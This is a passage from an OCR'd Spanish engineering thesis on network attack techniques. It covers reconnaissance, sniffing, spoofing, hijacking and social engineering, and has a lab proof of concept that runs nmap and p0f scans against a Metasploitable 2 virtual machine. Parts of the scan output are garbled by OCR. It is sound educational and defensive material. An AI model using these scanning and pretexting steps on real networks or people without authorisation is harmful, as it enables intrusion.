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Resumen

Desde las filtraciones sobre programas espias y la creacidn de paginas como WikiLeaks
los usuarios de Internet toman mas conciencia sobre sus datos personales y lo que
significa estar conectados a la red, pero de nada sirve si los sistemas en los confian estan
desprotegidos. Para ello existen los profesionales que trabajan en la seguridad de la
informacién y que deben estar al dia en las ultimas técnicas que utilizan los atacantes
para desarrollar las defensas necesarias, algo que es dificil profundizar en un curso
universitario por el tipo de contenido.

En este proyecto se describen diferentes técnicas de ataques informaticos tanto a nivel
de aplicacién como de red, indagando sobre todo en las posibilidades que tienen los
criminales para la interceptacion de informacion y la alteracién maliciosa en servicios
web, con la diferenciacién de la tecnologia IP subyacente, separando los ataques con
IPv4 de los realizados con IPv6. Se describen los primeros pasos que un atacante puede
dar para vulnerar un sistema, cdmo se realizan las técnicas de ataque mas conocidas,
como hay que defender un sistema tanto en general como para algunas de las técnicas
vistas y una revision de redes segmentadas comunes, caracteristicas y
ventajas/desventajas desde el punto de vista de la seguridad informatica.

Since the leaks about spyware and the proliferation of websites like WikiLeaks the
Internet’s users are much more concerned about their personal data and what it means
to be connected to the net, but it doesn’t mean anything if the systems which users trust
are exposed. For that reason the information security professionals exists, and they
must stay up-to-date with the newest techniques attackers use in order to develop the
necessary defenses, something that it is difficult to deepen in the university field due to
the content.

This project will describe different types of attacks, from aplication layer to network
layer, inquiring about the possibilities that criminals have for interception of information
and the malicious hijacking on web services, splitting IPv4 from IPv6 attacks. It will
describe the first steps to compromise a system, how are done the most commonly
attacks, how to defend systems both general and specific attacks and a review of
common segmented networks, features and advantages/disadvantages from the
computer security’s point of view.
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Introduccion

Cuando empecé la carrera no sabia qué era el cddigo fuente, un compilador, el algebra
de Boole... es mas, no me interesaban las matematicas. Habia entrado en la carrera a
“cacharrear” con los ordenadores que era lo que me gustaba y a aprender a programar...
épero a programar qué?

En el tercer afio la seguridad informatica despertd mi interés y decidi encaminarme por
este lado después de cursar dicha asignatura y hasta el dia de hoy he podido comprobar
una cosa: se necesitan muchos profesionales en este campo, pero el drea que cubre es
tan extensa que se necesitan mucho tiempo mas estudiando de forma autodidacta y
trabajando activamente, y de hecho es lo que recomiendan tanto profesores como
profesionales. Sin embargo, al menos en mi breve experiencia, falta un elemento que
enlace lo que sabemos los estudiantes recién titulados y los que aprenden por si solos:
la necesidad de practicar, la motivacion de saber para qué sirve lo que has aprendido.

Programar un algoritmo de cifrado o de fuerza bruta, configurar listas negras para evitar
conexiones maliciosas y jugar con el router de la casa son varias maneras de aprender.
El problema viene cuando leemos noticias como “Hackers roban 10 millones de délares
de un banco ucraniano”. (Noticia del 29/06/16)

éQué es lo que han hecho? ¢Han sido profesionales o unos “script kiddies” que han
tenido suerte? ¢ Qué hay que aprender para impedirlo? No es algo que se pueda ensefar
en un entorno académico cuya funcién es que el alumno aprenda las bases de la
informatica, de ahi la existencia de masteres especializados. Sin embargo, esta opcién
puede resultar algo fuera del alcance para personas con bajos recursos a las que la Unica
opcién que les queda es Internet.

Cuando alguien busca informacion sobre realizar ataques en redes (o bien hacking ético)
se encuentra en gran parte dos cosas: tutoriales sobre como usar una herramienta que
resuelve un problema, o foros de informacién para hacer ataques complejos sobre
tecnologias concretas, normalmente escrito de una forma muy técnica para alguien que
se inicia en esto. Y es normal. Nadie quiere que esté al alcance de cualquiera una
aplicacion de “botén gordo” para conseguir la contrasefia de tu WiFi, menos aun que
roben millones de un banco. Pero si no se aprende como lo hacen “los malos”, écomo
pretendemos saber lo que pasa? Esto ademas sin entrar en el terreno legal, donde hacer
cualquiera de las cosas que se encuentran por los foros o algunas de las que se hardn en
este proyecto son ilegales en algunos paises o violan la privacidad de las personas. Pero
como este proyecto se hara en un entorno privado evitaremos los problemas.
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Y en todo esto quiero hacer énfasis, ya que mi proyecto va destinado a reunir parte de
todo ese conocimiento que he ido aprendiendo durante mi carrera universitaria y lo
aprendido sobre seguridad informdtica de forma autodidacta desde hace dos afios y
aplicarlo con la “necesidad” de completar mi titulo de ingenieria informatica. La
necesidad de atacarme a mi mismo y saber cémo prepararme para no ser una victima
mas (o al menos saber qué estd pasando) y, como afiadido, que este proyecto sirva para
que el lector estudiante no se asuste al leer titulares del estilo “Time-based XSPA (Cross-
Site Port Attack) en DBKISS”.

Objetivos

El objetivo principal de este trabajo es probar una serie de atagues en entornos
concretos y ver asi por una parte cdmo se pueden reproducir en un entorno de maquinas
virtuales y por otra parte la facilidad que tienen para que personas que no tengan
formacién técnica puedan usarlos. Para ello se realizardn una serie de pruebas de
concepto para comprobar como de diferentes son los ataques en IPv4 y en IPv6,
similitudes, técnicas y demas.

Para las pruebas de concepto se montara un laboratorio formado por varias maquinas
virtuales, de las cuales se usaran las que sean necesarias:

e Kali Linux, se usara mayormente como maquina atacante. Antes conocida como
BackTrack, es una distribuciéon de Linux enfocada para tareas de seguridad
informatica, test de intrusion e informatica forense.

e Metasploitable 2, como maquina especialmente vulnerable. Contiene una
coleccién de servicios preparados para ser vulnerados, como bases de datos y
servicios web.

e Otros sistemas utiles:

Debian 8

Ubuntu 12.04.4

Windows XP

Windows 10

Windows Server 2012

o O O O

La lista del software utilizado y la descripcién de la instalacion del laboratorio se
detallan en el anexo al final del documento.
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Estructura

El proyecto se divide en cinco apartados:

1. Recopilacién de informacion: el primer paso de un ataque. Se hablard de las
formas mas comunes de conseguir informacion.

2. Ataques en redes IPv4: pruebas de concepto sobre las técnicas mas relevantes
de ataques en redes.

3. Ataques en redes IPv6: de forma similar, pruebas de concepto sobre ataques que
tienen como base este protocolo.

4. Proteccidon frente a ataques: como defendernos de estos ataques y formas de
prevenirlos o mitigarlos.

5. Analisis de redes segmentadas: analisis de las posibles complicaciones en redes
empresariales y/o divididas en diferentes segmentos.

La estructura del proyecto pretende cubrir un ataque informatico desde la primera idea
hasta la explotacién de vulnerabilidades, mostrando especial interés en los diversos
ataques que se pueden realizar. En el capitulo 4 se veran varias formas de protegerse
contra algunos de los ataques vistos y otras técnicas defensivas que serviradn tanto para
redes simples como para el tipo de redes que se veran en el capitulo 5.

Esta estructura pretende dar una vision global del area de la seguridad informatica,
orientdndose en mayor medida a los analisis de intrusiones o seguridad ofensiva.
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1 - Recoleccion de informacion

Aunque hay quien considera la recopilacion de informacion como un tipo o técnica de
ataque en si, lo cierto es que es un paso previo y practicamente obligatorio antes de
realizar cualquier tipo de ofensiva en una red. Igual que un programador deberia pensar
en el problema que debe solucionar antes de lanzarse a programar, uno debe saber cual
es el objetivo antes de lanzar cualquier tipo de ofensiva (y cuanto mas sepa, mejor).

Evidentemente esta recopilacion de informacion debe hacerse de forma legal respecto
a las leyes del pais donde se realice, aunque haya quienes consideran que algunos de los
métodos que se explicardn mas tarde rozan la ilegalidad. Lo que debemos de ser
conscientes es que podemos extraer una gran cantidad de informacion a partir de
cualquier pequeiio detalle.

Footprining
Whois
NSLOOKUP —
Search Engines
Social Networking Sites
-

Es recomendable que, ya sea en una red doméstica o empresarial, se planteen unas

1 Pasos de un ataque.

politicas de seguridad para prevenir fugas de informacion. Si se hace correctamente se
afiadira una capa de proteccion que afecta al terreno mas vulnerable de una red: sus
usuarios.

Este capitulo se divide en seis apartados: en el primero se veran varias técnicas de
footprinting, el segundo, tercero y cuarto apartado hablan de los pasos de un ataque
tras la recogida inicial de informacion, pudiendo tomarse de forma lineal o paralela, el
quinto apartado explica qué tipos de auditorias se pueden realizar en esta fase, valido
tanto para el atacante como para el defensor. El dltimo apartado es una prueba de
concepto en la que se utilizaran varias herramientas para hacer un escaneo de red.

13



1.1 - Footprinting

El footprinting (reconocimiento) es una de las técnicas para la recopilacién de
informacién obligatoriamente usada en una fase previa al ataque. En esta fase el
atacante intenta obtener informacidn atil usando diferentes técnicas, como pueden ser:

e Consultas DNS

e Descubrimiento de equipos

e |dentificacidn de sistemas operativos

e Escaneo de puertos

e Consultas WHOIS

e Etc.

¢Cuanta informacion podemos averiguar del objetivo?

Esta es la pregunta que el footprinting debe resolver. Para ello, el EC-Council
(International Council of Electronic Commerce Consultants), organizaciéon internacional
que certifica a profesionales en seguridad de la informacién, divide el footprinting en
siete pasos:

Recopilacion de informacién

Determinar el alcance del sistema

Identificar las maquinas activas

Encontrar puertos abiertos y puntos de acceso

OS Fingerprinting

Servicios de huella digital

NouhkwnN

Trazado de la red

La informacién que podemos obtener se puede dividir en cuatro categorias:
Internet: dominio, direcciones IP, servicios, IDSs, listas de control de acceso

2. Intranet: protocolos, dominios internos
3. Acceso remoto: niumeros de teléfono, control remoto, autenticacion
4. Extranet: control de acceso, tipo, origen y destino de las conexiones

Toda informacién, por pequefia o poco relevante que sea, se debe tener en cuenta para
formar la estructura del objetivo. Para esto existen herramientas como Maltego que nos
da una forma muy visual de organizar la informacién y poder extraer los datos sensibles
con técnicas de mineria de datos.
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Una aclaracion importante sobre los términos footprinting y fingerprinting: el primero
se basa mayormente en informacion que es publica o cuyo acceso no estd restringido,
mientras que el fingerprinting es recolectar informaciéon directamente del sistema
objetivo, por lo que es aconsejable pedir permiso primero para evitar problemas legales.
De ahi que se puedan definir tipos de fingerprinting segun el tipo de intrusion: activo si
el atacante realiza algun tipo de acciéon que provoque una respuesta de la victima, o
pasivo cuando el atacante se limita a escuchar trafico con el fin de detectar cdmo estd
fluyendo la conversacion.

Fingerprinting activo Fingerprinting pasivo
Peticion Peticion [ \
———
Sensor
/Sniffer
Respuesta . J Respuesta

1.1.1 - OSINT

OSINT (Open Source Intelligence) se puede traducir como las fuentes de informaciéon que
estan disponibles de forma publica a la que cualquier persona puede acceder y que no
se centran solo en informacion online, sino que esta abierta a cualquier tipo de fuente:

e Periddicos, revistas, radio, television.

e Comunidades en Internet, blogs, videos personales, wikis.

e Datos publicos del gobierno como informes, conferencias, discursos, concursos

e Articulos académicos, investigaciones

e Mapas, planos, localizaciones

e Informacién en la Deep Web
Una vez que tenemos suficiente informacion hay que extraer el conocimiento, que es la
referencia a Intelligence en sus siglas. En OSINT, la dificultad estd en encontrar la
informacidn relevante y las fuentes confiables a partir de una cantidad de informacién
considerablemente grande.

1.1.2 - Eavesdropping

Eavesdropping es la interceptacion en tiempo
real no autorizada en una comunicacién
privada, como una llamada de teléfono, un
mensaje o una videoconferencia.

Por ejemplo, si la victima tuviera una aplicacién
maliciosa seria posible activar el micréfono del

teléfono en segundo plano y escuchar cualquier
conversacion activa y pasiva. 2 Bansky y la NSA
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1.1.3 - Snooping

El término snooping (fisgonear) hace referencia a la informacién que se obtiene sin
permiso explicito del objetivo, e incluye cosas como mirar un correo electrénico que
aparece en la pantalla de alguien o ver lo que otra persona esta escribiendo. En la
practica es similar al eavesdropping, pero no estd limitado a obtener la informacién
durante su transmision.

Aunque parezca algo simple o poco relevante, se podria decir que ambos son de los
vectores de ataque mas vulnerables ya que las personas tenemos tendencia a confiar en
los demas, sobre todo en las empresas donde no es extrafio encontrar informacién
confidencial como pueden ser las contrasefias de administrador de los equipos en notas
pegadas al monitor, donde alguien con un poco de mafia las puede conseguir.

1.1.4 - Ingenieria social

Pero “mafia” es un término poco técnico. En seguridad informatica se le llama ingenieria
social a la practica de manipular personas para eludir los sistemas de seguridad y
consiste en obtener informacién de los propios usuarios por teléfono, correo
electrénico, cartas o contacto directo. Para ello se necesita tener suficiente elocuencia
como para persuadir al objetivo para aprovecharse de lo que inconscientemente sabe,
informacién que a priori no es relevante para el usuario de un sistema pero que si que
lo puede ser para un atacante.

Kevin Mitnick, famoso hacker pionero en ingenieria social, define estos cuatro principios
para todas las personas:

e Todos queremos ayudar

e Siempre, el primer movimiento hacia el otro, es de confianza
e Evitamos decir NO

e Atodos nos gusta que nos alaben

Con esto se refiere a que tedricamente se podria vulnerar un sistema, sea cual sea, solo
eligiendo las personas adecuadas y las palabras correctas.

Un ejemplo de ingenieria social podria ser hacerse pasar por técnico de una empresa y
hablar con un empleado previamente seleccionado para extraer de él informacién
relevante, que puede ir desde direcciones fisicas y ldgicas de equipos a contrasefias de
administrador. Esta técnica combina perfectamente con ataques de phishing
(suplantacion de identidad) para hacer que la victima pique el anzuelo llevandola
desinteresadamente a enlaces maliciosos.
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1.1.5 - Busqueda DNS y WHOIS

Las busquedas DNS sirven para encontrar los enlaces entre direcciones IP y nombres de
dominio de un cierto servidor. Se puede hacer un simil con los DNS y una agenda de
teléfonos; para buscar un niumero de teléfono necesitamos saber el nombre al que esta
asignado o viceversa.

Por esto mismo existen dos tipos de buisquedas DNS:

e Normal: dado el nombre del servidor devuelve la direccion IP
e |nversa: dada una direccidn IP devuelve el nombre del servidor

Algo que nos puede ayudar también para trazar la red es la informacion que obtenemos
de las consultas WHOIS. WHOIS es un protocolo disefiado para consultar bases de datos
que almacenan informacién de un recurso de Internet, como nombres de dominio o
direcciones IP.

Los datos que ofrecen estas consultas dependen de lo que haya definido el
administrador del sistema que se consulta, por lo que la cantidad de informacién puede

variar.

Where is .com located?

ROOT SERVER

O e

User
Where is thewindowsclub
located

.com NAME SERVER

Understanding How DNS Lookup Works
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1.2 - Sniffing

El concepto de sniffing se puede considerar uno de los mas bdsicos una vez acabado el
footprinting. Traducido literalmente como oler u olfatear, el sniffing es una técnica que
se basa en capturar todo el trafico de red que pasa por un equipo, siempre y cuando su
tarjeta de red esté configurada en modo promiscuo.

Hay que hacer una distinciéon importante: el sniffing segin la herramienta que se use o
el tipo de consulta que se haga se puede considerar ataque, por lo que va un paso por
delante de la recogida publica de informacién con técnicas de footprinting, que
conseguia la informacion sin tener una relacién directa con el objetivo.

El trafico capturado nos permite interceptar la comunicacién, pero sin intervenir en
absoluto ya que ese no es el propdsito de esta técnica. Los sniffers se pueden utilizar
para realizar tareas licitas dentro de una red, como pueden ser:

e Administrar y gestionar la informacién que pasa a través de una red LAN.
e Realizar auditoria de redes.

e |dentificar estabilidad y vulnerabilidades de las redes LAN.

e Verificar el trafico de una red y monitorear su desempefio.

e Prevenir actividades de espionaje industrial.

e Monitorear las actividades de los usuarios de una red.

e |dentificar paquetes de datos.

Posiblemente el sniffer mas famoso sea Wireshark, por la potencia de sus filtros y la
utilidad de sus herramientas (estadisticas, filtros personales, analisis de trazas, etc.) por
lo que se usara mas tarde en las pruebas de concepto.

£ Capturing from Conexién de area local - m] x
File Edit View Go Capture Analyze Statistics Telephony Wireless Toels Help
(NG XRB Res=F iEHaqam
[ ‘-.-_u y a display filter ... <Ctrl-/> '] Expression +
MNo. Time Source Destination Protocol  Length Info -~
339 48.360518 204.79.197.200 192.168.1.35 TCP 6@ 443 » 38937 [ACK] Seq=9561 Ack=28795 Win=13856@ Len=@
348 49.360519 204.79.197.200 192.168.1.35 TCP 6@ 443 + 30937 [ACK] Seq=9561 Ack=30235 Win=132896 Len=0
341 48.869358 284.79.197.200 192.168.1.35 TCP 6@ 443 > 30937 [ACK] Seq=9561 Ack=31675 Win=138568 Len=8
342 4@.869351 284.79.197.280 192.168.1.35 e 68 443 =+ 38937 [ACK] Seq=9561 Ack=33115 Win=132896 Len=8
343 48.869718 2084.79.197.200 192.168.1.35 TCP 6@ 443 » 38937 [ACK] Seq=9561 Ack=34555 Win=138560@ Len=8
344 49.869719 204.79.197.200 192.168.1.35 TCP 6@ 443 + 30937 [ACK] Seq=9561 Ack=35995 Win=132896 Len=0
345 49.370087 284.79.197.200 192.168.1.35 TCP 6@ 443 » 30937 [ACK] Seq=9561 Ack=37435 Win=138568 Len=8
346 4@.87@189 284.79.197.200 192.168.1.35 TCP 68 443 = 308937 [ACK] Seq=9561 Ack=38875 Win=132896 Len=8
347 4@.87@189 284.79.197.288 192.168.1.35 e 6@ 443 » 38937 [ACK] Seq=9561 Ack=39482 Win=131328 Len=8
348 4@.370396 204.79.197.200 192.168.1.35 TL5v1.2 363 Application Data
349 48.3708426 192.168.1.35 284.79.197.200 TCP 54 38937 » 443 [ACK] Seq=39482 Ack=9870 Win=261828 Len=8
358 41.112782 192.168.1.35 23.235.43.175 SSL 55 Continuation Data
351 41.159854 23.235.43.175 192.168.1.35 e 6@ 443 » 38989 [ACK] Seq=1 Ack=2 Win=37296 Len=8
352 41.528581 192.168.1.35 162.254.196.42 uopP 126 63489 + 27019 Len=84
v
Frame 1: 55 bytes on wire (44@ bits), 55 bytes captured (448 bits) on interface @ -
Ethernet II, Src: Giga-Byt 87:8c:8d (1c:6T:65:87:8c:8d), Dst: Mitrasta_35:T8:b7 (98:97:d1:35:f8:b7)
Internet Protocol Version 4, Src: 192.168.1.35, Dst: 172.217.16.67
Transmission Control Protocol, Src Port: 38914 (38914), Dst Port: 443 (443), Seq: 1, Ack: 1, Len: 1 w
98 97 dl 35 T8 b7 1c 6f 65 &7 8c 8d @3 ee 45 @0 R R I - E.
BB 29 17 43 48 @@ 80 @5 88 88 c@ ad Bl 23 ac d9 B .
18 43 78 c2 21 bb db 2b 63 7b 4d bc 7 @4 50 10 o - L D
3f fa 7f @3 oe @@ o0 T

3 Wireshark (antes conocido como Ethereal) es uno de los sniffers mds conocidos
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1.3 - Spoofing

Se denomina spoofing a la suplantacién de identidad dentro de un sistema con el
objetivo de recibir informacién que se intercambia entre dos sistemas distintos. En el
sentido estricto spoofing identifica todas aquellas técnicas enfocadas a la suplantacion,
como pueden ser MAC spoofing o ARP Spoofing.

Practicamente en cada una de las capas del protocolo TCP/IP seria posible encontrar una
técnica de suplantacion, siendo unas mas complejas que otras, pero igual de efectivas
cuando el propésito es el mismo.

En el spoofing entran en juego tres maquinas: atacante, victima y un sistema suplantado.
Para que el atacante pueda conseguir su objetivo necesita, por un lado, establecer una
comunicacion falseada con su objetivo, y por otro lado evitar que el equipo suplantado
interfiera en el ataque.

Dentro de los tipos de spoofing podemos encontrar los siguientes:

e |P spoofing: suplantacion de direccion IP

e ARP spoofing: suplantacién de direccién MAC

e DNS spoofing: alteracion de las direcciones IP en los servidores DNS para que
apunten a servidores maliciosos

e E-mail spoofing: creacién de mensajes de correo electrénico con una direccién
de remitente falso

e Web spoofing: suplantacién de una pagina web

e GPS spoofing: suplantacion de coordenadas geograficas

Se hace notar que las primeras técnicas de spoofing aparecieron en los anos 80, cuando
las redes se pensaron con el objetivo de que fueran funcionales, no seguras. A dia de
hoy estas técnicas siguen siendo igual o mas efectivas, al igual que las formas de
detectarlas y prevenirlas.
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1.4 - Hijacking

Lo que se hace con un sniffer es capturar trafico entre dos o mas equipos, y con las
técnicas de spoofing suplantdbamos la identidad de alguno de ellos. Pero esos paquetes
capturados éson susceptibles a la modificacidon antes de que sean reenviados? Esta
pregunta describe el hijacking (secuestro), la alteracion de mensajes en una
comunicacion.

Un sniffer captura dicha informacién y mediante una técnica llamada “inyeccién de
paquetes” puede modificarla, corromperla y reenviarla. Con esto se logra engafiar a los
servidores que proveen servicios en Internet.

Entre los tipos de técnicas de hijacking se encuentran:

e Browser hijacking
o Modifica la configuraciéon de un navegador web para inyectar cédigo
malicioso
e Session hijacking / Cookie hijacking
o Se basa en la obtencidn de cookies que almacenan la sesion activa de un
usuario en algun servidor para tener acceso no autorizado
e |P hijacking
o Control no autorizado sobre un grupo de direcciones IP debido a la
corrupcion de las tablas de enrutamiento. Esto puede derivar en un
malfuncionamiento de la red y como consecuencia en un ataque DDoS

Para cada una de las técnicas se utiliza un método llamado Man in the Middle (MitM)
gue consiste en “colocarse en medio” en una comunicacién privada y proceder a la
escucha, suplantacién o alteracion de la conversacién como se ha visto hasta ahora. Mas
adelante se vera con profundidad este método para ambas versiones de IP.

4 Lo que necesita Dios es un auditor de seguridad
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1.5 - Auditoria perimetral e interna

El término “auditoria” se refiere a la inspeccién, revisién y verificacién de un sistema o
actividad para evaluar que se cumplen determinadas reglas a los que estdn sometidos.
Por tanto, una auditoria de seguridad informdtica pretende analizar la situacién de un
sistema de informacidn respecto a las vulnerabilidades que se puedan presentar.

Las auditorias perimetrales permiten conocer el estado de seguridad del perimetro de
nuestro objetivo analizando las posibles entradas del exterior hacia zonas internas.
Como el auditor/atacante no conoce o no deberia conocer de antemano la configuracion
del perimetro a veces se denomina auditoria ciega.

El objetivo de esta auditoria es obtener acceso a la red interna, obtener informacién y
detectar vulnerabilidades que pongan en peligro al objetivo.

En este tipo de auditoria se realizan varios tipos de pruebas:

e |dentificacion de servicios

e Analisis de vulnerabilidades

e Analisis de informacidn

e Analisis de cddigo

e Deteccidn de malas configuraciones y exposiciones no deseadas
e Deteccidn y explotacion

Aunque estas pruebas dependerdan de las técnicas actuales y de los servicios que estén
expuestos al exterior.

Una vez dentro de la red se habla de auditoria interna cuando se comienza a comprobar
el estado de los segmentos dentro de esta. Por ejemplo, en una empresa lo mas normal
es que haya una o mas redes dependiendo del numero de departamentos, por lo que
ahora se debe mirar si es posible saltar de una red a otra hasta encontrar el punto clave
gue nos permita decir que el objetivo es vulnerable.

Las pruebas que se suelen realizar en este tipo de auditorias son:

e Disefioy analisis de la topologia y de la segmentacién.
e Andlisis de seguridad de VLAN

e Seguridad de los puertos de acceso

e Sniffing de red y andlisis de trafico de red

e Escalada de privilegios

e Obtencidn de credenciales

e Cifrado de comunicaciones

Y como punto final, el analisis global de toda la informacidn obtenida.
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1.6 - PoC: Escaneo de una red

Para empezar la primera de las pruebas de concepto se va a realizar el proceso de
recopilacion de informacién usando algunas de las técnicas que se han visto antes. Para
ello se van a utilizar dos maquinas virtuales: Kali Linux como atacante y Metasploitable
2 como objetivo. Se ha decidido usar esta maquina porque ofrece un sistema operativo
muy vulnerable y servira para las siguientes pruebas de concepto, por lo que cuanto mas
sepamos sobre ella mds podremos aprovechar luego. En el anexo se describe como se
han preparado los entornos para cada una de las maquinas virtuales.

Evidentemente no se va a utilizar ninguna de las técnicas de footprinting basadas en
informacién publica, puesto que el objetivo es descubrir qué tiene la maquina, no leer
el manual de Metasploitable. En este caso se realizara una auditoria interna ya que la
apertura de Metasploitable a Internet puede ser algo peligroso asi que suponemos que,
al menos, estamos dentro de la red donde esta nuestro objetivo.

Una de las primeras cosas que podemos comprobar es cuantos nodos activos hay en la
red. En este caso se hace un escaneo con Nmap sin descubrimiento de puertos (-sn) para
ver cuantos responden a las peticiones ICMP. Como Nmap permite seleccionar un rango
de direcciones IP y sabemos de antemano las direcciones asignadas, se ha acotado la
busqueda en cinco direcciones, de las cuales podemos ver lo siguiente:

:~/Escritorio# nmap -sn 192.168.101.127-131 -oN hosts.txt

Starting Nmap 7.01 ( https://nmap.org ) at 2016-07-15 18:24 CEST

Nmap scan report for 192.168.101.129

Host is up (0.00035s latency) .

MAC Address: 00:0C:29:73:DA:50 (VMware)

Nmap scan report for 192.168.101.130

Host is up (0.00027s latency) .

MAC Address: 00:0C:29:FB:6D:09 (VMware)

Nmap scan report for 192.168.101.128

Host is up.

Nmap done: 5 IP addresses (3 hosts up) scanned in 26.29 seconds
:~/Escritorio# l

5 Hosts activos

Con esta informacién podemos empezar a construir nuestro mapa de red. El Unico
resultado que no indica la direccion MAC es la del equipo que lanza el escaneo. Nmap
no tiene porqué detectar todos los equipos conectados a la red, solo detecta aquellos
gue le devuelven una respuesta ICMP, lo que significa que puede haber equipos como
dispositivos mdviles que no respondan a las peticiones.
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Un escaneo agresivo con Nmap en una de las otras dos IP nos revela bastante
informacién:

:~/Escritorio# nmap -A 192.168.101.129

Starting Nmap 7.01 ( https://nmap.org ) at 2016-07-14 20:49 CEST
Nmap scan report for 192.168.101.129
Host is up (0.00079s latency) .
: 977 closed ports
STATE SERVICE VERSION
open ftp vsftpd 2.3.4
| _ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)

| ssh-hostkey:

1024 60:0f:cf:el:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
open telnet Linux telnetd
open smtp Postfix smtpd
| _smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, E
HANCEDSTATUSCODES, 8BITMIME, DSN,
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| _http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

6 Host activo, puertos 21,22,23,25,53 y 80 abiertos

Empezamos a ver puertos abiertos que son reconocibles por convenio: 21, 23, 80, etc.
Telnet parece un buen objetivo por donde empezar, ya que de entrada se sabe que es
inseguro.

_http-title: Metasploitable2 - Linux
11/tcp open rpcbind 2 (RPC #100000)
rpcinfo:

program

v

ersion service

port/proto

|

1

I

l

| 100600

| 100000

| 100003

| 100003

| 100005

| 100605

| 100021

| 100021

| 100024

_ 1looez24

139/tcp open
open
open
open
open
open
open

PR RFRRFRERFRERPRNDNDNDNC

netbios-
netbios-
exec
login?
shell
java-rmi
shell
nfs

111/tcp
111/udp
2049/tcp
2049/udp
57150/tcp
57456/udp
41103/tcp

54936/tcp
ssn Samba
ssn Samba

netkit-rsh rexecd

rpcbind
rpcbind
nfs

nfs
mountd
mountd
nlockmgr
nlockmgr
status
status

smbd 3.X (workgroup:
smbd 3.X (workgroup:

Netkit rshd
Java RMI Registry
Metasploitable root shell

WORKGROUP)
WORKGROUP)

open 2-4 (RPC #100003)
rpcinfo:

program version

port/proto service

7 Servicios activos en puertos menos comunes

Llama la atencién el nimero de puertos que indican que hay shells detras, sobre todo la
descripcién del puerto 1524 (en la realidad no deberia verse nunca algo asi por el bien
de todos). Para los demas habria que indagar un poco mas en qué consisten los servicios.
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| 100000 111/tcp rpcbind

| 100000 111/udp rpcbind

| 100003 2049/tcp nfs

| 100003 : 2049/udp nfs

| 100005 57150/tcp mountd

| 100005 57456/udp mountd

| 100021 41103/tcp nlockmgr

| 100021 53640/udp nlockmgr

| 100024 1 51919/udp status

|_ 100024 | 54936/tcp status

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
|_mysql-info: ERROR: Script execution failed (use -d to debug)
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)

| vnc-info:

| Protocol version: 3.3

| Security types:

| Unknown security type (33554432)

6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd

| irc-info:

| users: 1

| servers: 1

8 Una base de datos mysql en el puerto 3306

Si somos capaces de obtener acceso a una base de datos podriamos hacer bastante
dano. Las bases de datos siempre tienen algo interesante, sobre todo si pertenecen a
una empresa.

: 0
: dirc.Metasploitable.LAN
version: Unreal3.2.8.1. irc.Metasploitable.LAN
uptime: 0 days, 0:55:47
source ident: nmap
source host: 3003F3B9.60779B34.FFFAGD4S.IP
error: Closing Link: fgmvahsht[192.168.101.128] (Quit: fgmvahsht)
B009/tcp open ajpl3 Apache Jserv (Protocol vl1.3)
_ajp-methods: Failed to get a valid response for the OPTION request
180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
IAC Address: 00:0C:29:73:DA:50 (VMware)
PDevice type: general purpose
unning: Linux 2.6.X
0S CPE: cpe:/o:linux:linux_kernel:2.6
0S details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; 0Ss: Unix,
inux; CPE: cpe:/o:linux:linux_kernel

ost script results:
nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown=, NetBIOS MAC: <unknown> (unknown

9 Mds informacion: algunos servidores, la direccion MAC, el sistema operativo y la distancia

Nmap realiza un fingerprinting activo para deducir el tipo de sistema operativo que usa
la maquina. Se recalca lo de activo porque si hubiera algun sistema de deteccién de
intrusos detras bien configurado igual nos podria echar por alto el plan y alertar al
administrador/es de un posible ataque.
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mb-os-discovery:

0S: Unix (Samba 3.0.20-Debian)

NetBIOS computer name:

Workgroup: WORKGROUP

System time: 2016-07-14T14:50:29-04:00

ADDRESS
0.79 ms 192.168.101.129

0S and Service detection performed. Please report any incorrect results at https://nmap.org/subm
s

e: 1 IP address (1 host up) scanned in 73.99 seconds

10 Scripts nbstat (imagen anterior) y smb-os-discovery, mas un trazado de red

La opcidn -A de Nmap realiza las siguientes acciones:

e Deteccidn de sistema operativo
e Escaneo de version

e Escaneo de scripts*®

e Trazadered

*Nmap nos avisa de que el escaneo de scripts puede ser demasiado intrusivo, por lo que
podriamos reemplazar dicha opcién por “-o -Sv --traceroute”

Lo mas llamativo que se deberia notar es la cantidad de veces que aparece la palabra
METASPLOITABLE, por lo que podemos estar seguros de que atacamos a la maquina
adecuada (mads alld de la cantidad de puertos abiertos), el resto es cuestién de hilar la
informacién que disponemos para rellenar los huecos de informacidn que nos queden.

Con toda esta informacién podriamos empezar a preparar el ataque, pero no nos
debemos conformar con los primeros resultados. Lo propio es usar mas herramientas
hasta alcanzar un nivel de confianza suficiente para no fallar en el ataqgue como por
ejemplo TheHarvester, una herramienta para recopilar direcciones de correo
electrénico, subdominios, nodos, nombres, y demads informacién en redes mas
complejas o con un minimo nivel organizativo.

Este tipo de herramientas se pueden usar para conocer qué tipo de informacidn es capaz

de obtener un atacante sobre una red u organizacidn o en otras palabras realizar
auditorias sobre posibles fugas de informacién.
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Otra herramienta que podemos usar para hacer fingerprinting es pOf. Esta herramienta
es un sniffer que analiza los paquetes y en funcidn del tipo de respuesta deduce el
sistema operativo que hay detras. Aunque pOf es especialmente interesante para hacer
fingerprinting pasivo se hard de forma activa para forzar la comunicacion.

Como hemos visto antes, la maquina atacada tiene un puerto de telnet activo, por lo
gue para generar algo de trafico nos conectamos. Cuanto mas trafico generemos, mas
fiable es el resultado.

.-[ 192.168.101.128/55136 -> 192.168.101.129/23 (syn) ]-

client = 192.168.101.128/55136

0S = Linux 3.11 and newer

dist =0

params = tos:0x04

